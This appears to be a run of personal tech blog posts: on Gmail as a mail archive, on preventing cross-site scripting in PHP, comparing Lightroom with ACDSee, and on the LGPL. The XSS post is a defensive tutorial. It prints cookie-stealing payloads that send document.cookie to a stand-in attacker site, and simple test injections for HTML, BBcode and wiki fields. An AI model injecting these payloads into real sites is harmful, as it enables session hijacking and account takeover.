While some boast about big companies like Google adopting OpenID, it’s not really all that much to crow about – their support is only as a provider, not as an implementor.  I cannot, for example, use an existing OpenID to authenticate myself at Google, I can only use a Google ID to authenticate myself elsewhere.  Not allowing OpenID authentication themselves doesn’t contibute to the widespread use of OpenID but further segregates it, which is probably just as much of an injustice to OpenID as its indecipherable Wikipedia page.

Gmail’s 7GB (and growing) amount of space allows it to be a ‘store everything’ type of mail box, as opposed to a ‘store what I haven’t downloaded yet’ (as in POP) or ‘store the last x days’ worth’ (as in an IMAP box that’s only small).

My web hosting provider allows POP or IMAP access, but it’s restricted to only 100MB, so it’s not really usable as a ‘store everything’ box, not to mention that I might change hosting providers some day.  I really love my host, but the possibility exists that I’ll outgrow them or need some new whiz-bang feature one day.

My current email strategy is:

• Download all mail to my home computer, but have it left on the server for 7 days.
• I can still access at least the last 7 days’ worth of mail when I’m away from home.
• My Gmail account fetches mail from my mailbox via POP every x minutes, so I have another copy of everything on Gmail.

That third point was to be a temporary measure, but I find it just too convenient to be able to search all my mail on Gmail while I am away from home.  I might as well forward everything to Gmail.

More points about Gmail:

• Gmail doesn’t force you to use your ‘@gmail.com’ address as your ‘from’ address.  You can use an address with your domain name in it as a default.  Therefore Gmail does not suffer from the type of ‘lock-in’ – if you move to a new provider, you can keep your email address.
• Gmail’s web interface is better than any web interface I have seen an ISP or a web hosting provider provide.  It even rivals desktop based email clients.
• Keeping a copy of everything on Google’s server acts as a really easy, free, form of off-site backup.  My current off-site backup strategy consists of burning a DVD of my Thunderbird mail box folder every other month if I remember it, and tucking the DVD into a drawer at work.

The only hesitation I have, but one which I feel is pretty important, is that entrusting all of my email to Google would vastly increase the amount of damage done should an attacker – or a Google employee (unlikely) – gain access to my account.  Rather than just 7 days’ worth of emails being available, as with another provider, Google would store an entire history of possibly personal and confidential mail.  This includes such secrets as password reminder emails for online services.  I’d feel better about it if I could encrypt Gmail’s entire contents with my own key, that Google themselves didn’t have access to, and nor did anyone who had gained access to the account.  Of course, it’s not really possible with the way Gmail works.

So, is using Gmail worth it as a ‘store everything’ mail box for personal email?

Cross-site scripting (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be underestimated. The problems go far beyond annoyances and practical jokes perpetuated by script kiddies. By stealing your cookies, Cross-site scripting attacks can allow attackers to gain administrative access to your web application.

How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering and/or escaping it properly. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain any character, including characters such as <, &, or “ which have a different, and special, meaning when they appear as part of HTML.  If the same guestbook entry, blog comment or username field is saved by the web application and later displayed as part of a web page, without any intervening filtering or escaping, then any incidental < characters, which in a plain text field should have no special significance, will be interpreted by browsers as HTML tags.   Any user who happened to slip the character sequence <script into such a field may be able to cause Javascript code to run in the browsers of other people who view the page.

This code may either be relatively harmless – for example, creating unwanted popups or spam – or malicious – code that is intended to gain private information in order to break into each user’s account on the system.

Although cross-site scripting often involves the insertion of a <script> tag into a web page, it is possible to do some damage with other code.  There are many ways to run Javascript in a browser other than through the use of a <script> tag, as well as many other forms of active content besides Javascript.  The XSS cheat sheet is the most thorough list of XSS attack vectors I know of, and show various methods of obfuscating or encoding XSS that may be used other than <script> tags.

Relatively harmless uses of Cross Site Scripting:

• Code intended to disrupt the layout or appearance of a web page.
• Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.
• Code intended to launch unwanted popup windows for advertising or shock value.

Some more harmful uses of Cross Site Scripting:

• Scripts, including Javascript or another form of active content, designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
• Objects or applets intended to exploit a known security vulnerability in a particular browser.

Life cycle of a cross-site scripting exploit

I find that cross-site scripting can be a difficult concept to picture. I’ll lead you through a typical cross-site scripting scenario, to gives some examples of what is possible.

Joe has built himself a custom CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ’session ID’ which allows him to remain logged-in while navigating around the site.

Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars or an equivalent to escape plain text in HTML in some places where he echoes user-submitted content to the browser.

A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:

<script>alert('Hello World');</script>

Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.

Rick gets a little craftier and places the following code into a guestbook entry of Joe’s page:

<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>

Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.

Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick may even be able to change Joe’s password, give himself administrator access, or start deleting content.

Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is session hijacking – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.  XSS is a way for an attacker to obtain access to sessions on another server.

Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:

<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A web page about dogs</a>

If Joe clicked that link, as he may do without even thinking, his session ID would be transmitted to Rick’s server.

Furthermore, Rick could have embedded his JavaScript into event handler attributes such as onclick, onmousemove and onsubmit - the latter which could be used to modify the behaviour of a form on the site.

Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.

Patch those holes

Below are some steps which you can take to help prevent cross-site-scripting attacks from being used on your PHP application, and to limit the amount of damage that can be done in the event that someone finds a way anyhow.

Whenever displaying plain text content on your web site, escape the plain text string before doing so.  In PHP, a simple way to do this is to use the htmlspecialchars function on the data right before. This includes all plain text data, whether it be user-submitted or not.  The idea is that < and & characters need to be escaped whether their use is malicious or not.

You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.

if (strlen($_GET['username']) > 12)
  exit("Error: {$_GET['username']} is too long. Your username may be no more than 12 characters");

In this case, the user variable “username” is being sent to the browser without being escaped. A user could construct a URL similar to the following and trick people into clicking it:

http://www.example.com/register.php?username=%3Cscript%3Ealert('gotcha')%3B%3C%2Fscript%3E

The JavaScript above is harmless, but could be modified to steal information from cookies and transmit it to a third party.  Notice that here, the <script> tag is URL encoded.  This will automatically be decoded by the server.

You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication.  Cookies are an excellent convenience feature for users, so their use is encourage, but there are some highly important tasks that may call for more protection.  In addition to the cookie, users should also be asked for their password when they undertake activities such as changing their (or anybody else’s) password or escalating their privilege level. So, if your session is hijacked using your session ID, the attacker won’t be able to lock the rightful account owner out of the account or retain control over the account after they leave. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.

What if you want your users to be allowed to submit HTML?

Escaping plain text for output is easy.  All that needs to be done is to replace a small set of special characters with their escaped equivalents in HTML.

However, if a web application allows users to submit actual HTML (say, from a rich text editing control, or even prompting the user to type HTML in manually), then filtering this for safe output on a web page becomes much harder.  Filtering HTML cannot be reliably done with a search and replace statement or two, or even a highly complex regular expression.  Any filter would need to be able to interpret the HTML in the same way that a browser – any browser – might, and browsers do some strange things.

A common compromise, as seen on many blogs, is to allow only a small subset of HTML.  This makes filtering considerably more attainable than otherwise, but by no means simple.  A read through of the XSS cheat sheet will reveal the necessary complexity of any required filtering mechanism.  What’s more, new methods of defeating XSS filters are discovered all the time (and may be added to the XSS cheat sheet at a later date).

I myself have written a rather comprehensive HTML and XHTML filter in PHP, and it consists of 3 files of source code with over 2000 lines of code in total, not including DTDs.  It is capable of understanding the entire HTML language in terms of its DTD.  To say it is complicated is an understatement, and it still has its limitations.  If you wanted to go down that path you could use HTML Tidy, I presume, incorporated with your own filtering code to make the filtering part a bit easier.

Testing for cross-site scripting vulnerabilities in your application

A way to test for Cross Site Scripting vulnerabilities is to insert testing code into every field, and every variable passed on the query string, that you can find in your application.

The XSS cheat sheet that I mentioned above is the best source of XSS testing code that I know of.

Try, for example, inserting the following code where you would like to test.

<script>alert('Hello World!');</script>

Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.

It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possibly embed HTML or JavaScript into a username? What about user signatures? Secret questions and answers?

Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used.

Forum code or “BBcode”:

[url=javascript:alert('Yes');]Are you vulnerable?[/url]

Wiki markup:

[javascript:alert("Yes");|Are you vulnerable?]

Is your forum or wiki vulnerable?

The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, when I first wrote this article, I was surprised to find that a wiki I used at work was vulnerable to this. If anybody is tricked into clicking a link, any JavaScript in that link will run.

More information about cross-site scripting is available in this CERT Advisory and this document from Apache. The Apache document points out, rightly, that the name “Cross-site scripting” is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously at SitePoint, Harry talked about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.

Have a look at this very thorough article by Chris Shiflett on preventing cross-site scripting attacks.

Cross-site scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications.  However, other common vulnerabilities such as CSRF, including Login CSRF (PDF), and clickjacking, are just as serious.

Last time I used ACDSee there was no such thing as ACDSee Pro Photo Manager.  Of course, there was also no such thing as Photoshop Lightroom.

Problems with Photoshop Lightroom:

• The user interface is annoying slow and unresponsive.  It’s not ridiculously bad, but it is jerky enought to annoy.  I can tolerate that all the calculations required to apply filters to an image take time and processing power, but any significant delay or slowness in simply expanding, collapsing, or resizing panes or windows is quite unnecessary.  Is it due to their use of non-native widgets (ie, skinning)?  Probably, though that doesn’t mean an interface needs to be slow – take recent versions of Firefox on Windows for example.
• It lacks the ability to correct for barrel/pincushion distortion, and to do perspective correction.  I need to do barrel/pincushion distortion correction fairly often – for example on any photos containing buildings or straight lines.  This means it would be necessary to bring images into Photoshop a lot of the time for what should be a basic correction, even though more advanced corrections like primary colour adjustments and chromatic aberration correction, which I would probably need less often, are included.  Note that I couldn’t find this feature in ACDSee either, but based on price I had higher expectations of the Adobe product.
• The noise removal was not too useful to me.  On a scale of 0 to 100, where 0 is no noise removal and 100 is maximum, 0 is not enough and even 1 is too much – especially for chroma.  There is no setting in between 0 and 1.  Then again, noise removal was not too good on ACDSee either, but in a different way.
• Using Lightroom to simply browse photos on the hard drive was not very intuitive to me.  I usually prefer browsing my existing file heirarchy, and there seemed to be no way to do that – I had to ‘import’ images into ‘albums’ or similar, where albums didn’t necessarily correspond to their locations on their hard drive.  It’s an extra layer of confusion and it means I can’t be sure that I’m grabbing the right images if I go back into an Explorer window and just drag and drop.

Problems with ACDSee:

• In any other colour mode than sRGB, everything seems about ten times as slow.  Instead of dragging a slider and seeing the colour on the image change as the slider is dragged, now you start dragging the slider and wonder why the program seems to have stopped responding for ages.  Then a few seconds after you’ve let go of the slider and are starting to click randomly on the screen to see if anything you are doing is having any effect, the colour finally changes in the preview.  This means that practically, it’s not possible to do any adjustments with a colour space other than sRGB loaded.  No problem, that’s fine – except that it’s a bit of a hassle.  If you forget and leave it loaded, and make further adjustments, it goes all slow again.  It’s also slightly disappointing that a piece of software for professionals would assume its users will all be using sRGB.  Notwithstanding the whole sRGB vs colour management debate, there are a lot of photographers that do value wider gamut colour spaces.
• The sharpening feature is decent, but not as good as in Lightroom.  The sharpening radius is only selectable as a whole number of pixels, so sharpening using a radius of 0.6 is not possible.  Furthermore, there is a ‘threshold’ for sharpening detail, but it represents a sudden cutoff – unlike Lightroom’s ‘detail’ slider which allows a smooth transition between the sharpening applied to high contrast edges vs smoother surfaces.  As a result, sharpening an image with lots of grain cannot look nearly as good.

Of the two, it is still hard to choose.  Lightroom has better sharpening and smoothing so for quality it would win for me, but I prefer the  file selection approach of ACDSee.  Then again, the ACDSee product is not really usable when doing adjustments using colour spaces other than sRGB; while I don’t expect to be doing this often, I might want to eventually.  And yet, the ACDSee product is still cheaper.

I have seen the GPL software license described as a cancer before,  and this analogy does indeed hold, even though it misses the point.  If you want to borrow any code released as “GPL” for use in your own source code, any of your own code that the GPL is mixed with will also need to become GPL if ever you plan on distributing software.  However, this rule of the GPL is actually a very good thing, especially for hard working open source developers, because it ensures that their work can never be exploited by companies wishing to make a buck, unless those companies give their contributions to the code back under the same license, effectively becoming part of the same open source development effort.

The LGPL is mostly the same as the GPL except that it releases some of these restrictions.  I am not a law expert, but I have come to the following understanding.  In particular, it allows for code to be combined in the same project with code from any other license including proprietary licenses, under certain conditions.  If the whole thing, including the LGPL code as well as the other code, is distributed together, then it becomes known as a ‘combined work’ under the terminology of the LGPL.  The distribution must abide by the following (a complete list exists in the text of the license under ‘Combined Works’):

• There must be some sort of clear separation between the LGPL code and the other code.  In particular, it must be possible for the recipient to modify the LGPL code or even completely replace it with other code, such as a modified version or later version of the libary.  Therefore, if it is a compiled program, then the LGPL code must either be dynamically linked (like, a separate DLL or shared file) such that it could easily be substituted for a similar library and still be interoperable; or, if it is statically linked, the minimum required source files and/or object files must be provided, to allow recompiling with an alternative library.  The non-LGPL portion may not contain any part of the LGPL code except for very simple header files.
• It must be clearly pointed out which part of the code is LGPL covered, including its original copyright notice and the text of the LGPL (including the GPL on which it is based).
• If the combined software displays copyright notices during the course of running, then the copyright notice for the LGPL covered portion must also appear here, along with a link to the LGPL and GPL.
• In some cases, you would need to provide installation information detailing how to use a modified version of the LGPLd code in the combined application.

The above is just a list of stuff that you have to do if you are going to redistribute some LGPL code as part of your non-LGPL application.  However, the text of the LGPL doesn’t really explain the benefits, or what opportunities it opens up to you.  If you are distributing a combined work which consists of both someone else’s LGPL code, and other code that is under a different license, you benefit from:

• You don’t need to release source code for the rest of your application (ie, the non-LGPL part).  The only exception to this being as described above – if it’s all statically linked then you’d need to provide just enough code (and/or object files) to be able re-link it with an alternative or modified version of the LGPL code.  If you are linking dynamically and interacting over a normal API, you don’t need to worry about that.
• You don’t need to release the rest of your application under the GPL.  You can use any license you want, including more restrictive proprietary licenses, provided that when you do distribute it you follow the rules.
• Unlike GPL version 3, which prohibits using the code if you are implementing copy protection or DRM software, you can use LGPL version 3 licensed code in an application which includes copy protection or DRM.

So, LGPL is a fairly permissive license in comparison to the GPL, which cannot be ‘combined’ with other proprietary licenses in this way.  So, what can’t you do with LGPL?  Well, apart from relaxed rules such as those already discussed, LGPL still contains all of the other restrictions of the GPL.  I won’t go into all of the detail of the GPL here, but here are some of the restrictions that you still retain when using the LGPL, that you may not retain with an even more permissive license (such as a BSD or X11 license):

• Anybody wishing to modify and redistribute LGPL code must also make the source code of the LGPL code, including their modifications, available and licensed under the LGPL.  Therefore, the open source community and the original author can still benefit if a commercial enterprise contributes improvements to the LGPL code.
• All existing copyright notices in the LGPL code, as well as the GPL and LGPL licenses themselves, must be prominently displayed in any redistribution.  In addition to this, any application using the LGPL code must display such copyright notices and refer to the license whereever they display their own copyright notices.

Something else of note is that whether you are building software that relies on either GPL or LGPL code, if you distribute that software without any of the GPL or LGPL included (ie, the user needs to download and install it themselves),  then it’s not considered a ‘combined work’ and you don’t need to worry about complying with any terms.  However, if you include even so much as a header file from the GPL or LGPL code in your software, then you’ll be bound by the license terms of the GPL or LGPL.